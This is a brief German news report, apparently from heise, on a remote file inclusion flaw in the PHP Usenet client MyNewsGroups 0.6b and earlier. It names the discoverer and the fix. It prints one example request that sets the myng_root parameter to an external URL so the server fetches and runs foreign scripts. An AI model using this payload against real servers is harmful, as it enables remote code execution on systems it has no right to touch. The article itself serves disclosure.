Usenet-Anwendung MyNewsGroups gefährdet Serversicherheit

Ăśber die fehlende Filterung einer Variablen lassen sich auf dem Server per Remote File Inclusion eigene Skripte ausfĂĽhren.

vorlesen Druckansicht
Lesezeit: 1 Min.
Von
  • Daniel Bachfeld

Usenet-Clients auf Basis eines Webinterfaces sind eine praktische Sache und ziemlich flexibel. Server, auf denen der in PHP geschriebenen Open-Source-Client MyNewsGroups läuft, könnten in Kürze aber unerwünschten Besuch bekommen. Philipp Niedziela hat eine Lücke entdeckt, mit der sich auf dem Server per Remote File Inclusion eigene Skripte ausführen lassen. Ursache des Problems ist die fehlende Filterung der Variable myng_root, die sich mittels

http://server/lib/tree/layersmenu.inc.php?myng_root=externe_url

Pfade auf beliebige Skripte unterschieben lässt. Der Fehler findet sich in Version 0.6b und vorhergehenden. Abhilfe schafft laut Niedziela, die Variable myng_root in den MyNewsGroups-Skripten fest zu belegen. Weitere Details sind seinem Bericht zu entnehmen.

Siehe dazu auch: (dab)